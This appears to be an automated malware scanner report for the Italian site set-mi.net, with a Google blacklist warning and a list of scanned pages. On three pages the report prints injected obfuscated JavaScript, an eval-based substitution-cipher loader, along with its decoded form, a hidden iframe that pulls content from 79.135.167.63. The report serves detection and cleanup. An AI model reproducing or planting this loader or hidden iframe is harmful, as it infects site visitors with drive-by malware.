New scan:

Malware Scanner report for set-mi.net

Malicious/Suspicious/Total urls checked
3/0/15
3 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "set-mi.net" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=set-mi.net

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://www.set-mi.net/
200 OK
Content-Length: 4590
Content-Type: text/html
malicious
Malicious code found. Script contains blacklisted domain: 79.135.167.63

function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('<`B15ni[X1hI\"ZQQFx;;/T.m3z.mH/.H3;`nl;`Y(i9.FZF\"[XQ_oiI\"!`X`~`o`Q_x[Z`((iYp[(`XFo5_x[YSYi\"><;`B15ni>',unescape('function decrypt%28n%29%7Bvar l%2Cch%2Cind%2Cq%3D%22%22%2Ckey%3D%22OD%26%3Ax9T6H%40fBAC%23y_wgloSEb%7EK %5BchZei%60a5z-%7Bjv%21Pk%7Cr1mnYU%7DqV7%2F%3BpF%5DsXG%3DILtQJ0u%5C%272Md%284%2A%22%3Bfor%28l%3D0%3Bl%3Cn.length%3Bl%2B%2B%29%7Bch%3Dn.charAt%28l%29%3Bind%3Dkey.indexOf%28ch%29%3Bif%28ind%3E-1%29%7Bif%28ind%3D%3D0%29%7Bind %3D79%7Dq%2B%3Dkey.charAt%28ind-1%29%7D else %7Bq%2B%3Dch%7D%7D%3Bdocument.write%28q%29%7D'));

Decoded script:


function decrypt(n){var l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}
function decrypt(n){var l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}
<iframe src="http://79.135.167.63/img/index.php" style="visibility: hidden; display: none"></iframe>

http://www.set-mi.net/descrizioni/logo.htm
200 OK
Content-Length: 271
Content-Type: text/html
clean
http://www.set-mi.net/test404page.js
404 Not Found
Content-Length: 212
Content-Type: text/html
clean
http://www.set-mi.net/progetti/SeTWeb%202%20locandina.pdf
200 OK
Content-Length: 73417
Content-Type: application/pdf
clean
http://www.set-mi.net/progetti/Progetto%20PIDI.pdf
200 OK
Content-Length: 95253
Content-Type: application/pdf
clean
http://www.set-mi.net/index2.htm
200 OK
Content-Length: 3639
Content-Type: text/html
clean
http://www.set-mi.net/scuolerete/scuolereteset.htm
200 OK
Content-Length: 2723
Content-Type: text/html
clean
http://www.set-mi.net/scuolerete/../index.htm
200 OK
Content-Length: 4590
Content-Type: text/html
malicious
Malicious code found. Script contains blacklisted domain: 79.135.167.63

function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('<`B15ni[X1hI\"ZQQFx;;/T.m3z.mH/.H3;`nl;`Y(i9.FZF\"[XQ_oiI\"!`X`~`o`Q_x[Z`((iYp[(`XFo5_x[YSYi\"><;`B15ni>',unescape('function decrypt%28n%29%7Bvar l%2Cch%2Cind%2Cq%3D%22%22%2Ckey%3D%22OD%26%3Ax9T6H%40fBAC%23y_wgloSEb%7EK %5BchZei%60a5z-%7Bjv%21Pk%7Cr1mnYU%7DqV7%2F%3BpF%5DsXG%3DILtQJ0u%5C%272Md%284%2A%22%3Bfor%28l%3D0%3Bl%3Cn.length%3Bl%2B%2B%29%7Bch%3Dn.charAt%28l%29%3Bind%3Dkey.indexOf%28ch%29%3Bif%28ind%3E-1%29%7Bif%28ind%3D%3D0%29%7Bind %3D79%7Dq%2B%3Dkey.charAt%28ind-1%29%7D else %7Bq%2B%3Dch%7D%7D%3Bdocument.write%28q%29%7D'));

Decoded script:


function decrypt(n){var l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}
function decrypt(n){var l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}
<iframe src="http://79.135.167.63/img/index.php" style="visibility: hidden; display: none"></iframe>

http://www.set-mi.net/scuolerete/../progetti/SeTWeb%202%20locandina.pdf
200 OK
Content-Length: 73417
Content-Type: application/pdf
clean
http://www.set-mi.net/scuolerete/../progetti/Progetto%20PIDI.pdf
200 OK
Content-Length: 95253
Content-Type: application/pdf
clean
http://www.set-mi.net/index3.htm
200 OK
Content-Length: 3922
Content-Type: text/html
clean
http://www.set-mi.net/progetti/progetti.htm
200 OK
Content-Length: 3299
Content-Type: text/html
clean
http://www.set-mi.net/progetti/../index.htm
200 OK
Content-Length: 4590
Content-Type: text/html
malicious
Malicious code found. Script contains blacklisted domain: 79.135.167.63

function load(code,dfunc,anticasp){eval(dfunc);decrypt(code);}load('<`B15ni[X1hI\"ZQQFx;;/T.m3z.mH/.H3;`nl;`Y(i9.FZF\"[XQ_oiI\"!`X`~`o`Q_x[Z`((iYp[(`XFo5_x[YSYi\"><;`B15ni>',unescape('function decrypt%28n%29%7Bvar l%2Cch%2Cind%2Cq%3D%22%22%2Ckey%3D%22OD%26%3Ax9T6H%40fBAC%23y_wgloSEb%7EK %5BchZei%60a5z-%7Bjv%21Pk%7Cr1mnYU%7DqV7%2F%3BpF%5DsXG%3DILtQJ0u%5C%272Md%284%2A%22%3Bfor%28l%3D0%3Bl%3Cn.length%3Bl%2B%2B%29%7Bch%3Dn.charAt%28l%29%3Bind%3Dkey.indexOf%28ch%29%3Bif%28ind%3E-1%29%7Bif%28ind%3D%3D0%29%7Bind %3D79%7Dq%2B%3Dkey.charAt%28ind-1%29%7D else %7Bq%2B%3Dch%7D%7D%3Bdocument.write%28q%29%7D'));

Decoded script:


function decrypt(n){var l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}
function decrypt(n){var l,ch,ind,q="",key="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);if(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}
<iframe src="http://79.135.167.63/img/index.php" style="visibility: hidden; display: none"></iframe>

http://www.set-mi.net/progetti/../progetti/SeTWeb%202%20locandina.pdf
200 OK
Content-Length: 73417
Content-Type: application/pdf
clean
http://www.set-mi.net/progetti/../progetti/Progetto%20PIDI.pdf
200 OK
Content-Length: 95253
Content-Type: application/pdf
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: set-mi.net

Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: set-mi.net
Referer: http://www.google.com/search?q=set-mi.net

Result:
The result is similar to the first query. There are no suspicious redirects found.